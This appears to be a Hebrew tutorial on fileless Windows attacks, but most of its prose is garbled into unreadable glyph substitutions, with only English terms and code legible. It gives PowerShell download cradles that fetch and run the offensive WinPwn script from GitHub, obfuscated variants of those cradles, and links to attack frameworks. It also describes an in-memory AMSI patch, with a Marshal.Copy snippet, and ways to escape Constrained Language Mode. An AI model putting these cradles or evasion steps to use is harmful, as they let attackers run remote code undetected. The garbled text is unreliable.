˧˦ˮ˞ ˸ˮ˩ˣ˸ ˪˩-˰ ,˫˧˶˵˞ˢˣ ,˸ˬ˷˧˧ˬ ˯ˣ˶˧ˣ ˪˸ˮˬ ˱ˣ˵˰˪ ˸˞ ˧ˮˣˮˠˮˬ ˠˢˢ ˢˮ˪˷ ˧˦ˮ˞ˢπ˯ˣ˶˧ˣ ˫˧˷ˬ˸˷ˬ 

˸ˣ˵˧ˮ˩˦˟ ˸ˣˮˣ˷ Σ˭ˣˠ˩ ˸˟˧˸˩ ˫˧˯ˣ˶˧ˣ  ˢ˪˞˩ ˸ˣ˵˧ˮ˩˦˪ ,˫˧˴˟˵ˢ ˸˩˶˰ˬ˪ ˯ˮ˩ˢ˪ ˧˪˟ˬ ˭ˣ˶˩˧ˤ˪ ˫˧ˮ˰˦ˮ˷

 ˫˧˞˶ˣ˵Fileless Attack )ˢˤ ˶ˬ˞ˬ˟ ˶˟ˡˮ ˭ˢ˧˪˰ˣ ("˫˧˴˟˵ ˸ˣ˶˯˥ ˸ˣ˲˵˸ˢ"Φ 

 

˨˧˞ ˸ˣ˰˴˟˸ˬ ˸ˣ˲˵˸ˢ ˸ˣ˶˯˥ ˫˧˴˟˵ (Fileless attacks)Κ 

˧˲˩ ˰ˬ˸˷ˬ˷ ˫˷ˬ ˢ˲˵˸ˢˢ Σ˭˧˞ ˫ˣ˷ ˳˟ˣ˵ ˶ˬ˷ˮ˷ ˵˯˧ˡ˟ Σ˞˪˞ ˰˴˟˸ˬ ˸˵˶ˤˢ ˡˣ˵ ˧ˬˮ˧ˡ ˶ˣ˵ˬˬ ˵˥ˣ˶ˬ 

˶˷˧ ˭ˣ˶˩ˤ˪ ˱˧ˡˮˢ ˪˷ ˨˧˪ˢ˸ ˫˧˧ˣ˯ˬ ˟˷˥ˬ˟ ˪˷ ˱˵˸ˮˢ Φ˫˧˲˵ˣ˸ˢ ˫˧ˬ˩˥ˣ˸ˬˢ ˶˸ˣ˧ ˡ˧ˬ˸ ˣ˲˧ˡ˰˧ 

˷ˬ˸˷ˢ˪ ˸ˣ˦˧˷˟ ˪˷ άƭƛǾƛƴƎ ƻŦŦ ǘƘŜ ƭŀƴŘέ Σ˶ˬˣ˪˩ ˷ˣˬ˧˷ ˸ˣ˪ˣ˩˧˟ ˸ˣˮ˟ˣˬ ˸˩˶˰ˬ˟ ˢ˪˰˲ˢˢ ˪ˣ˴˧ˮˣ ˭ˢ˪˷ 

ˢ˰˶˪ Φ˫˧˩˶ˡˢ ˧˪ˣ˞ ˧˩ˢ ˸ˣ˴ˣ˲ˮ ˷ˣˬ˧˷˪ ˠˣ˯˟ ˸ˣ˲˵˸ˬ ˢˤ ˞ˣˢ ˸ˣ˰˴ˬ˞˟PowerShell  xWMI- Φπ˟

PowerShell ˶˟ˡˢ ˰˴˟˸ˬ ˸ˣ˰˴ˬ˞˟ Download CradlesΦ 

Download Cradle ˢˤ ˫˴˰˟ ˢˡˣ˵˲ ˢ˶ˣ˷˟ ˸˥˞ (one liner) ˪˰ ˸ˮˬ ˡ˧˶ˣˢ˪ x˞ ˳˧˶ˢ˪ ˡˣ˵Φ ˶˟ˡˢ ˢ˞˶ˮ 

˨˩Υ 

 

ˢˬ ˫˴˰˟ ˢ˶˵ ˭˞˩Κ 
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˸ˡˣ˵˲ iex ˞˧ˢ ˢ˷˰ˬ˪ ˶ˣ˴˧˵ ˪˷ invoke-expression π ˭ˣˮˠˮˬ ˸˩˶˰ˢ˪ ˫˧˦˲˧˶˵˯ ˶˷˞ ˫˧˟˩˶ˣˬ x˞ ˫˧˶˴ˣˮ 

˭ˬˤ˟ ˢ˴˧˶Φ ˸ˣ˰˴ˬ˞˟ ˢˡˣ˵˲ˢΥ 

iex(new - object  net.webclient).downloadstring  

˧˸ˮ˰˦ ˭ˣ˶˩ˤ˪ ˪˷ ˨˧˪ˢ˸ˢ ˪˷ PowerShell ˦˵˧˧ˣ˶˲ ˫˷˟ WinPwn ˪˧˩ˬ˷ ˦˯ ˫˧˪˩ ˫˧˧˲˵˸ˢ ˢˬurl 

˪˧˩ˬ˷ ˸˞ ˡˣ˵ˢΥ 

https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1  

˫˧˦˵˧˧ˣ˶˲ ˫˧˰ˣˡ˧ ˣ˟˸˩ˮ˷ ˶ˣ˟˰ ˧˸ˣˣ˴ ˢ˲˧˵˸ ˫ˢΥ 

1. PowerSploit - https://github.com/PowerShellMafia/PowerSploit  

2. Nishang - https://github.com/samratashok/nishang  

3. Empire - https://github.com/EmpireProject/Empire  

4. PowerShellArmoury - https://github.com/cfalta/PowerShellArmoury  

5. PowerSharpPack - https://github.com/S3cur3Th1sSh1t/PowerSharpPack  

˨˶ˡ˟ ˢ˦ˣ˷˲ xʕ ˶˵˞ˢ ˩˧˪ˣ ˟πUser Mode ˢ˷˰ˬ˪ ˭ˣ˰˦˪ ˭ˣ˶˩ˤ˪ ˪˷ ˨˧˪ˢ˸ˢ ˪˷ PowerShell ˪˩ ˦˲˧˶˵˯ 

˪˟˵˸ˬ˷ ˪˰ ˸˰ˡˢΦ 

˸ˣˡˣ˵˲ ˸ˣ˲˯ˣˮ (cmdlets) ˶˷˞ ˸ˣ˰˴˟ˬ ˸˞ ˢ˸ˣ˞ ˢ˪ˣ˰˲Υ 

¶ Invoke-WebRequest / iwr  

 

¶ Invoke-RestMethod / irm 

 

¶ curl 

 

¶ wget 

 

˭˸˧ˮ ˫ˠ ˳˧˶ˢ˪ ˸˞ ˸ˣˡˣ˵˲ˢ ˢ˶ˣ˴˟ ˸˪˟˶ˣ˰ˬ (Obfuscation)Υ 

¶ IEX (&(GCM *w-o*ct) "N`et.WebClient")."Do`wnloadstring"('h'+'ttps://) 

 

¶ IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | 

Where-Object {$_.Name -like '*wn*d*g'}).Name)('https://raw...') 

 

https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1
https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1
https://github.com/PowerShellMafia/PowerSploit
https://github.com/samratashok/nishang
https://github.com/EmpireProject/Empire
https://github.com/cfalta/PowerShellArmoury
https://github.com/S3cur3Th1sSh1t/PowerSharpPack
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¶ .($ShellId[1]+$ShellId[13]+'x') (New-Object Net.WebClient).(((New-Object 

Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like 

ϥϝǿƴϝŘϝƎϥϒύΦbŀƳŜύόϥƘǘǘǇǎΥκκǊŀǿΧΩύ 

 

˸ˣˡˣ˵˲ˢ ˸ˣ˪ˣ˩˧ ˳ˣ˶˪ ˟ˣ˪˧˷˟ ˫˰ ˸ˣˡˣ˵˲ ˸ˣ˲˯ˣˮ Σ˪˷ˬ˪ ExecutionPolicy Bypass Σ˪˰ ˸ˮˬ ˱ˣ˵˰˪ ˸˞ 

˭ˣˮˠˮˬ Execution Policy Σ˶˷˞ ˸˶˧˶˟˟ ˪ˡ˥ˬˢ ˪˧˟ˠˬ ˸˴˶ˢ ˫˧˦˲˧˶˵˯ Υ 

 

Execution Policy ˞˪ ˶ˡˠˣˬ ˭ˣˮˠˮˬ˩ ˢ˥˦˟˞ Σ˞˪˞ ˡ˰ˣˮ ˶˵˧˰˟ ˰ˣˮˬ˪ ˷ˬ˸˷ˬˢˬ ˳˧˶ˢ˪ ˦˲˧˶˵˯ ˞˪˷ 

˭ˣˣ˩˸ˬ˟ Φˢ˪˟ˠˢ xʕ ˢˮ˧˞ ˸˟˷˥ˮ ˢ˵ˤ˥ ˭˸˧ˮˣ ˱ˣ˵˰˪ ˢ˸ˣ˞ ˶˲˯ˬ˟ ˫˧˩˶ˡ Φ˫ˣ˧˩ ˷˧ ˶˸ˣ˧ ˫˧ˬˣ˧˞ ˧˯˯ˣ˟ˬ 

˦˲˧˶˵˯ ˶˷˞ˬ ˫˧˴˟˵ ˫˧˧˶˞ˮ˧˟ Φ  

ˢ˪˞˷ˢ ˸˪˞˷ˮˢ ˞˧ˢ Σ˨˧˞ ˫˞ˢˣ ˧˦ˮ˞π˯ˣ˶˧ˣ ˪ˣ˩˧ ˸ˣˢˤ˪ ˸ˣ˲˵˸ˬ ˠˣ˯ˢˬ ˢˤˢΚ 

 

ˢ˟ˣ˷˸ˢ ˪˷ ˦˲ˣ˯ˣ˶˵˧ˬ 

˪˰ ˸ˮˬ ˡˡˣˬ˸ˢ˪ ˫˰ ˸ˣ˲˵˸ˢ ˨˶ˡ ˸˴˶ˢ ˡˣ˵ ˭ˣ˶˩ˤ˟ Σ˦˲ˣ˯ˣ˶˵˧ˬ ˣ˥˸˧˲ ˟-нлмр ˵˷ˬˬ ˸˵˧˶˯˪ ˸ˣˮ˩ˣ˸ 

˸ˣ˧ˮˣˡˤ π Antimalware Scan Interface (AMSI) Φˣˢˤ ˫ˤ˧ˮ˩ˬ ˰˟ˣ˵˷ ˦˶ˡˮ˦˯ ˸˵˧˶˯˪ ˡˣ˵ ˡ˰ˣˮˣ ˶ˣˤ˰˪ 

˧˶˴ˣˬ˪ ˧˦ˮ˞ˢπ˯ˣ˶˧ˣ ˡˡˣˬ˸ˢ˪ ˫˰ ˫˧ˬˣ˧˞ ˧˯˯ˣ˟ˬ ˫˧˦˲˧˶˵˯Φ 

˪˰ ˧˲ ˦˲ˣ˯ˣ˶˵˧ˬAMSI  ˷ˬ˷ˬ ˶ˣ˟˰ ˧˟˧˩˶ Windows ˫˧˞˟ˢΥ 

¶ User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation) 

¶ PowerShell (scripts, interactive use, and dynamic code evaluation) 

¶ Windows Script Host (wscript.exe, cscript.exe) 

¶ Javascript, VBScript 

¶ Office VBA macros 
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˭˪ˢ˪ ˫˧˷˶˸ ˪˷ ˸˶ˣ˦˵˦˧˩˶˞ AMSI ˪˰ ˧˲ ˢ˧˴˦ˮˬˣ˵ˣˡˢ ˪˷ ˦˲ˣ˯ˣ˶˵˧ˬ Υ 

 

˪˩ ˢ˧˴˵˧˪˲˞ ˢ˪ˣ˩˧ ˷˵˟˪ ˸ˣ˰˴ˬ˞˟ AMSI ˵ˣ˶˯˪ ˡˣ˵ ˧˦ˮ˞˟π˯ˣ˶˧ˣΦ ˳˟ˣ˵amsi.dll  ˞˴ˬˮ ˸˧˧˵˧˸˟ 

system32 Υ 

 

˶˷˞˩ ˨˧˪ˢ˸ ˪˷ PowerShell ˶˴ˣˮΣamsi.dll  ˢ˲ˣˬˬ ˸˟ˣ˸˩˪ ˭ˣ˶˩ˤˢ ˧˪˞ˣ˦˶˧ˣˢ ˪˷ ˨˧˪ˢ˸ˢΥ 

 

https://docs.microsoft.com/en-us/windows/win32/amsi/images/amsi7archi.jpg
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˸ˣ˰˴ˬ˞˟ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˷ amsi.dll Σ˪˩ ˡˣ˵ ˭˰˦˧˷ ˨ˣ˸˪ ˨˧˪ˢ˸ˢ ˪˷PowerShell  ˵˶˯˧˧ ˫˶˦ ˢ˴˶ˢˢΦ ˫˞ 

ˡˣ˵ˢ ˞˴ˬˮ ˧ˮˣˡˤ ˞ˣˢ ˫˯˥˧˧ ˶˴ˣˣ˧˧ˣ ˠˣ˪ Event 1116Υ 

 

˸˰˩ ˢ˯ˮˮ ˳˧˶ˢ˪ ˟ˣ˷ ˸˞ ˢˡˣ˵˲ˢ ˶˷˞˩amsi.dll  ˢ˲ˣˬˬ ˭ˣ˶˩ˤ˪ ˪˷ PowerShell Υ 

 

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪, ˢ ˸ˮ˩ˣ˸˧˦ˮ˞π˯ˣ˶˧ˣ ˯˥ˢˬ ˸˞ ˭ˣ˧˯˧ˮ ˢˮ˧˰˦ˢ ˪˷ ˡˣ˵ˢ ˭ˣ˶˩ˤ˟ Φ˸˶ˤ˰˟ amsi ˡˣ˵ˢ ˥˪˷ˮ 

π˪ anti-malware provider ˭˵˸ˣˬ˷ ˪˰ ˟˷˥ˬˢ ύˢ˶˵ˬ˟ ˢˤˢ Windows DefenderΥό 

 

˫ˠ ˸ˣˮˣ˧˯˧ˮ ˪˟˶˰˪ ˸˞ ˡˣ˵ˢ ˣˬ˯˥˧˧ ˪˰ ˧ˡ˧ ˧˦ˮ˞ˢπ˯ˣ˶˧ˣ ˭ˣˣ˧˩ˬ ˞˪˷ ˢˮ˷ˬ ˢˬ˩ ˪˟˶˰ˮ ˸˞ ˡˣ˵ˢ Σ˱ˣ˯˟ ˞ˣˢ 

ˢ˧ˢ˧ ˟˧˧˥ ˳ˣ˶˪ ˭ˣ˶˩ˤ˟ ˢ˶ˣ˴˟ ˞˪ ˸˪˟˶ˣ˰ˬΦ 

˱ˣ˯ ˟ˣ˦ Σ˪˩ˢ ˟ˣ˦ Φ˫˞ˢ ˨˩ ˶˟ˡˢΚ 
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AMSI bypass 

˧˸ˣˣ˴ ˢ˲˧˵˸ ˫˧˶˵˞ˢˣ ˫˧˰ˡˣˬ ˪πAMSI ˸ˣ˪ˣ˩˧˪ˣ ˣ˪˷ ˭˩˪ˣ ˢ˷˰ˮ ˶˵˥ˬ ˟˧˟˯ ˞˷ˣˮˢ ˱ˣ˵˰˪ ˸˞ AMSI Φ

˸˪ˣ˩˧ˢ ˱ˣ˵˰˪ ˸˞ ˫ˤ˧ˮ˩ˬˢ ˪˷ AMSI ˢ˪ˣ˩˧ ˸ˣˣˢ˪ ˶ˣ˦˵˲ ˭˧˟ ˢ˥˪˴ˢ x˞ ˭ˣ˪˷˩ ˪˷ ˢ˲˵˸ˢΦ 

˨˶ˣ˞˪ ˫˧ˮ˷ˢ ˣˠ˴ˣˢ ˸ˣ˵˧ˮ˩˦ ˱˵˰ˬ ˸ˣ˟˶ Σ˟ˣ˶ ˭˸ˣˤ˩˶˸ˬ ˢ˧˴˪ˣ˲˧ˮˬ˟ ˪˷ amsi.dll ˭ˣ˶˩ˤ˟ Φˢ˶˦ˬˢ ˪˷ 

˱˵ˣ˸ˢ ˞˧ˢ ˰ˣˮˬ˪ ˢ˵˧˶˯ ˪˷ ˡˣ˵ˢ Σˣ˞ ˭˧˲ˣ˪˥˪ Σ˶˧ˤ˥ˢ˪ ˢ˞˴ˣ˸ ˡˣ˵ˢ˷ ˞˪ ˧ˮˣˡˤ Φ˶˟ˡˢ ˰˴˟˸ˬ ˸ˣ˰˴ˬ˞˟ 

patching ˪πamsi.dll ˭ˣ˶˩ˤ˟ Φ˦˰ˬ˩ ˪˩ ˸ˣ˵˧ˮ˩˦ ˱˵˰ˬˢ ˣˬ˯˶˲˸ˢ˷ ˣˬ˸˥ˮ ˶˥˞˪ ˭ˬˤ ˢˬ ˭ˢˣ ˭ˬ˴˰˟ 

˸ˣˬ˯˥ˮ ˪˰ ˧ˡ˧ ˧˦ˮ˞ˢπ˯ˣ˶˧ˣ Φ˪˰ ˸ˮˬ ˷ˬ˸˷ˢ˪ ˸ˣ˵˧ˮ˩˦˟ ˱˵˰ˬˢ ˸ˣ˰ˣˡ˧ˢ Σ˷˧ ˨˶ˣ˴ ˭˧˟ˢ˪ ˢˤ˧˞ ˵˪˥ ˡˣ˵˟ 

˫˸˥ˮ ˤ˞ˣ ˸ˣˮ˷˪ ˣ˸ˣ˞Φ 

˞ˬˠˣˡ˪ Σ˫˞ ˳˧˶ˮ ˸˞ ˠˮ˧˶˦˯ˢ amsiutils Σˢ˞˶ˮ ˞ˣˢ˷ ˫ˣ˸˥ ˫˯˥ˮˣ ˪˰ ˧ˡ˧ ˧˦ˮ˞ˢπ˯ˣ˶˧ˣ ˸ˣ˰˴ˬ˞˟ AMSIΥ 

 

˫˪ˣ˞ Σ˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˫ˣ˪˧˴ˢˬ ˢ˪˰ˬ˪ Σ˶˷˞˩ ˳˧˶ˮ ˸˞ ˠˮ˧˶˦˯ˢ ˪˰ ˧ˡ˧ ˶ˣ˷˶˷ ˸ˣ˧˸ˣ˞ˢ Σˢˤ ˱˵ˣ˰ ˸˞ 

ˢˬ˧˸˥ˢ ˞˪ˣ ˫˯˥ˮΦ 
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˧ˣ˪˧ˠ ˢˬ˧˸˥ˢ ˢ˶ˣ˴˟ ˸˧ˮˡ˧ 

ˢ˟ˢ ˭˥˟ˮ ˸˞ ˸˥˞ ˸ˣ˵˧ˮ˩˦ˢ ˣˬ˯˶ˣ˲˷ ύ˪˰ ˧ˡ˧ Mouse-RastaΥό 

 

˦˲˧˶˵˯ˢ ˵ˡˣ˟ ˸˞ ˸˟ˣ˸˩ˢ ˭ˣ˶˩ˤ˟ ˢ˧˴˵ˮˣ˲ˢ˷ AmsiScanBuffer ˸˲ˣˬˬ ˸ˣ˰˴ˬ˞˟ GetProcAddress Φ

ˢ˧˴˵ˮˣ˲ˢ AmsiScanBuffer ˸˧˞˶˥˞ ˵ˣ˶˯˪ ˸˞ ˭˩ˣ˸ˢ Φ 

˪˰ ˸ˮˬ ˸ˣˮ˷˪ ˸˞ ˸ˣ˞˶ˣˢˢ ˣ˸ˣ˞˟ ˶ˣˤ˞ ˭ˣ˶˩ˤ˟ ˣˮ˞ ˫˧˩˧˶˴ ˷ˬ˸˷ˢ˪ ˟πVirtualProtect ˪˟˵˪ ˸ˣ˞˷˶ˢ 

ˢ˟˧˸˩Φ ˶˥˞˪ ˭˩ˬ ˰˴˟˸ˬ patch ˢ˧˴˵ˮˣ˲˪ ˨˩ ˡ˧ˬ˸˷ ˶˧ˤ˥˸ ˸˞ ˢ˞˴ˣ˸ˢ AMSI_RESULT_CLEANΦ 

  

https://rastamouse.me/memory-patching-amsi-bypass/
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ˢ˟ˢ ˳˧˶ˮ ˸˞ ˦˲˧˶˵˯ˢΥ 

 

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˦˲˧˶˵˯ˢ ˢˢˣˤ ˧ˮˣˡˤ˩ ˫˯˥ˮˣ Σˢ˪˞˷ˢ ˞˧ˢ ˢˤ˧˞ ˵˪˥ sˡˣ˵ ˫˸˥ˮΚ 

˶˥˞ˬ ˦˲˧˶˵˯ˢˣ ˶˴˵ Σ˭˸˧ˮ ˳˧˶ˢ˪ ˣ˸ˣ˞ ˫˧˵˪˥˟ ˨˩ˣ ˸ˣ˪ˠ˪ ˢˤ˧˞ ˵˪˥ ˡˣ˵˟ ˠ˧˶˦ˬ ˸˞ ˧˦ˮ˞ˢπ˯ˣ˶˧ˣΥ 

 

˧˲˪ ˫ˣ˪˧˴ˢ ˢ˪˰ˬ˪ Σ˭˸˧ˮ ˸ˣ˞˶˪ ˧˸˴˶ˢ˷ ˸˞ ˦˲˧˶˵˯ˢ ˡ˟˪ˬ ˢ˶ˣ˷ˢ ˢˮˣ˶˥˞ˢ ˞ˣˢˣ ˞˪ ˫˯˥ˮΦ 

˸˞ˤ ˸˶ˬˣ˞ ˢ˶ˣ˷ˢ˷ ˢˮˣ˶˥˞ˢ ˦˲˧˶˵˯˟: 

[ System . Runtime . InteropServices . Marshal ]:: Copy( $Patch ,  0,  $Address ,  6)   

ˢˬˣ˸˥ ˪˰ˣ ˭˩ ˷˧ ˰˴˟˪ ˧ˣˮ˧˷ ˪˰ ˸ˮˬ ˱ˣ˵˰˪ ˸˞ ˢˬ˧˯˥ˢΦ 
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ˢ˷˰ˮ ˸˞ˤ ˨˩: 

 

ˢ˶ˣ˷ˢ ˢˮˣ˶˥˞ˢ ˢ˵˪ˣ˥ ˧˵˪˥˪ ˸ˣˤˣ˶˥ˬ ˣ˶ˬ˷ˮˣ ˫˧ˮ˸˷ˬ˟ ˶˷˞ ˣ˶˷˶ˣ˷ ˱ˣ˯˟ Φ˦˲˧˶˵˯ˢ ˣ˧˷˩˰ ˞˪ ˯˲˸ˮ 

˪˰ ˧ˡ˧ ˧˦ˮ˞ˢπ˯ˣ˶˧ˣ ˢ˷˰ˬ˪ˣ ˧˸˲˵˰ ˸˞ AMSIΦ ˸˰˩ ˟ˣ˷ ˭˸˧ˮ ˭ˣ˰˦˪ ˫˧˪˩ ˫˧˧˲˵˸ˢ ˶˷˧ ˭ˣ˶˩ˤ˪Υ 

 

˨˩ Σˣˢˤ ˳ˣ˶˧ˬ ˧˲ˣ˯ˮ˧˞ ˭˧˟ ˧˶˴ˣˬ ˢˮˠˢ ˭˧˟˪ ˫˧˲˵ˣ˸ ˶˷˞ ˫˧˪ˣ˩˧ ˸ˣ˪˵˟ ˱ˣ˵˰˪ ˸ˣˮˠˢ ˸ˣ˯˯ˣ˟ˬ ˢˬ˧˸˥Φ 

˟ˣ˷˥ ˭˧˧˴˪ :ˢˬ˴˰ ˸ˤˣ˶˥ˬˢ˷ 

[ System . Runtime . InteropServices . Marshal ]:: Copy( $Patch ,  0,  $Address ,  6)   

ˮ˧˞ s˟˷˥ˮ ˸˧ˮˣˡˤ˪ ˸Σ˞˪˞ ˵˶ ˶˷˞˩ ˧s ˶˞ˢ˴ ˫˰ ˦˲˧˶˵˯ˢ ˧˶ˣ˵ˬˢΦ˸ˣ˵˧ˮ˩˦ ˫˧˦˲˧˶˵˯ˣ ˫˧˲˯ˣˮ ˱ˣ˵˰˪ 

˸˞ AMSI ˭˸˧ˮ ˞ˣ˴ˬ˪ ˟πrepositories ˶ˣ˷˧˵˟Υ 

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell 

˭˩ˣ ˶˸˞˟Υ 

https://amsi.failκ 

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://amsi.fail/
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˧ˣ˪˧ˠ ˢˬ˧˸˥ˢ ˢ˶ˣ˴˟ ˸˧˦ˬˣ˦ˣ˞ 

˶˷˞˩ ˡˣ˵ˢ ˨ˣ˶˞ Σ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˧˪˩˟ Amsitrigger  Υ 

 

˶ˣˬ˷ˮ ˸˞ ˦˲˧˶˵˯ˢ ˧˶ˣ˵ˬˢ ˣˮ˵ˡ˟˷ ˢˬ˧˸˥˟ ˸˧ˮˡ˧ˢ ˳˟ˣ˵˟ bypass.ps1 ˭˸˧ˮˣ ˧˪˩˪ ˵ˣˡ˟˪ ˣ˸ˣ˞ Φ˧˪˩ˢ 

˵˪˥ˬ ˸˞ ˭˩ˣ˸ˢ ˪˷ ˳˟ˣ˵ˢ ˫˧˵˪˥˪ ύstreams ό˳˧˶ˬˣ ˪˩ ˡ˥˞ ˫ˢˬ ˡ˶˲ˮ˟ ˡˠˮ˩ ˧˦ˮ˞ˢπ˯ˣ˶˧ˣ Σ˱ˣ˯˟ ˪˟˵˸ˬ 

˦˪˲ ˫˰ ˵˪˥ˢ ˞˴ˬˮ˷ ˫ˣ˸˥Υ 

 

ˢ˪˞˷ˢ ˫˞ˢ ˪˩˟ ˸˞ˤ ˭˸˧ˮ ˭ˮˣˠ˸ˢ˪ ˸ˣ˧˴˪ˣ˲˧ˮˬˬ ˡˠˮ AMSIΚ 

ˢ˟ˣ˷˸ˢ ˞˧ˢ: ˭˩ ˞˪ˣ. 

 

Constrained Language Mode  

˸ˣ˰˴ˬ˞˟ PowerShell ˷˧ ˣˮ˪ ˢ˷˧ˠ ˦˯˪ ˟˥˶ˮ ˪˷ APIs Σ˶˵˧˰˟ ˪˷ .NET Framework ˶˷˞ ˶˷˲˞ˬ ˣˮ˪ 

˳˧˶ˢ˪ ˡˣ˵ ˭˲ˣ˞˟ ˧˸ˣ˶˧˶˷ ύArbitrary code execution όˢ˦˧˪˷ˣ ˪˰ ˟˥˶ˬ ˭ˣ˶˩ˤˢΦ 

π˪PowerShell ˷˧ ˴˧˲ϥ˶ ˫˷˟ Language mode ˰˟ˣ˵˷ ˣ˪˧˞˟ ˫˧˵˷ˬˬ ˫˧ˮˣ˷ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ 

˷ˬ˸˷ˬ˪ ˷˧ ˢ˷˧ˠΦ 

  

https://www.rythmstick.net/posts/amsitrigger/
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7.2
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ˣˢˤ ˴˧˲ϥ˶ ˢ˞˶ˮ˩ ˸ˣ˥˲ ˶˩ˣˬ Φˮ˷˧ ˭п ˸ˣ˧ˣ˶˷˲˞Υ 

 

˸˶˧˶˟˩ ˪ˡ˥ˬ PowerShell ˳˶ ˟FullLanguage- ˶˷˲˞ˬ˷ ˸˞ ˷ˣˬ˧˷ˢ ˪˩˟ ˸ˣˡˣ˵˲ˢ ˫˧˵˷ˬˬˢˣ ˭ˬˤ˟ 

ˢ˴˧˶Υ 

 

PowerShell ˨ˬˣ˸ ˢ˪ˣ˰˲˟ ˸˪˟ˠˣˬ ύConstrained Language ό˸˰ˮˣˬˢ ˢ˷˧ˠ ˫˧˵˷ˬˬ˪ ˫˧ˮˣ˷ ˪˷ ˸˩˶˰ˬ 

ˢ˪˰˲ˢˢ ˭ˣˠ˩ API ΣCOM Σ.NET ˶˷˞ ˫˧˞˴ˬˮ ˷ˣˬ˧˷˟ ˰Ϧ˧ ˫˧˲˵ˣ˸ ˫˧ˬˡ˵˸ˬΥ 

 

˸˰˩ ˨˧˪ˢ˸ˢ˷˩ ˪˷PowerShell  ˳˶ ˟πConstrained Mode ˢ˯ˮˮ ˳˧˶ˢ˪ ˸˞ ˦˲˧˶˵˯ˢ ˪˷ AMSI bypass 

˶˟˰˷ ˧ˣˮ˧˷ ˢˬ˧˸˥˟ ˫ˡˣ˵ˬΥ 

 

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˭ˣ˧˯˧ˮ ˢ˴˶ˢˢ ˪˷ ˦˲˧˶˵˯ˢ ˫˯˥ˮΦ 
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˸˶˦ˬ Constrtained Mode ˞˧ˢ ˰ˣˮˬ˪ ˸˴˶ˢ ˡˣ˵ ˧˸ˣ˶˧˶˷ ˞˪ ˫ˣ˸˥ Σˢˤˣ ˢ˷˰ˮ ˶˲˯ˬ˟ ˫˧˩˶ˡ Σ˪˷ˬ˪ Υ 

¶ ˢˡˣ˵˲ˢ Add-Type ˢ˪ˣ˩˧ ˭ˣ˰˦˪ ˵˶ assemblies ˫˧ˬˣ˸˥ ˪˟˞ ˞˪ ˡˣ˵ ІC ˧˸ˣ˶˧˶˷ x˞ Win32 APIsΦ 

ˢ˟˶ˢ ˸ˣ˲˵˸ˢ ˟πPowerShell ˸ˣ˯˯ˣ˟ˬ ˪˰ ˢ˧˴˪˧˲ˬˣ˵ ˪˷ .Net-based language ˸ˣ˰˴ˬ˞˟  .Add-

Type 

¶ ˷ˣˬ˧˷ ˟π PowerShell classes˫ˣ˯˥Υ 

FullLanguageΥ 

 

ConstrainedLanguageΥ 

 

¶ ˧˦˵˧˧˟ˣ˞ COM ˫˧ˬˣ˯˥ 

˰ˡ˧ˬ˪ ˱˯ˣˮΥ 

https://devblogs.microsoft.com/powershell/powershell-constrained-language-modeκ  

˫ˠ ˢˡ˧ˬ˟ ˱˵ˣ˸ˣ ˥˧˪˴˧ ˱ˣ˵˰˪ ˸˞ ˸ˣˬ˧˯˥ˢ ˪˷ ConstrainedLanguage ˰˴˟˪ˣ AMSI bypass Σ˸ˣˡˣ˵˲ˢ 

˭ˣ˰˦˪ ˫˧˪˩ ˫˧˧˲˵˸ˢ ˭ˣ˶˩ˤ˪ ˭˧˧ˡ˰ ˣˬ˯˥˧ ˪˰ ˧ˡ˧ ConstrainedLanguageΥ 

 

 ˶˥˞˪ ˣˮ˧˞˶˷ ˨˧˞ ˭˸˧ˮ ˱ˣ˵˰˪ ˸˞ ˭ˣˮˠˮˬ ˢ˥˦˟˞ˢ AMSI Σˢ˪ˣ˰ ˢ˪˞˷ˢ Σ˫˞ˢ ˨˧˞ˣ ˪ˣ˩˧ ˱˵ˣ˸ ˱ˣ˵˰˪ ˫ˠ 

˟˴ˬ ˣ˟˷ ˪˩ ˨˧˪ˢ˸ ˪˷ PowerShell ˳ˣ˶˧ ˟˴ˬ˟ ConstrainedLanguageΚ 

  

https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/
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Unmanaged PowerShell 

˧˸˶ˡˠˢ ˧˪˴˞ ˢˮˣ˩ˬ˟ ˪˩˷ ˨˧˪ˢ˸ ˪˷ PowerShell ˳ˣ˶˧ ˟˴ˬ˟ ConstrainedLanguage Υ 

 

˭˸˧ˮ ˶˧ˡˠˢ˪ ˸˞ˤ ˟Registry- ˟˧˸ˮ˟Υ 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment 

˱˧˯ˣˢ˪ DWORD ˫˷˟Υ 

ψψPSLockdownPolicy 

˫˰ ˨˶˰ ˧˪ˬ˧˴ˡ˯˵ˢ пΥ 

 

˫ˣ˧˩ ˢ˷˵ ˡˣ˞ˬ ˱ˣ˵˰˪ ˢ˶ˣ˴˟ ˢ˶˧˷˧ ConstrainedLanguage Σ˶ˬˣ˪˩ ˨ˣ˸ˬ ˨˧˪ˢ˸ ˪˷ PowerShellΦ ˢˬ˪ 

˞˪˷ ˷ˬ˸˷ˮ ˟πPowerShell ˧˪˟ ˷ˣˬ˧˷ ˨˧˪ˢ˸˟ ˪˷ PowerShell ˞ˣˢ˷ native ˸˩˶˰ˬ˟ ˢ˪˰˲ˢˢΚ  

˰ˠ˶˟ ˣˮ˥ˮ˞˷ ˫˧ˮ˧˟ˬ ˷πPowerShell ˞ˣˢ ˞˪ PowerShell.exe ύx˞ ˨˶ˣ˴˪ ˭˧˧ˮ˰ˢ ˫ˠ powershell_ise.exe ό

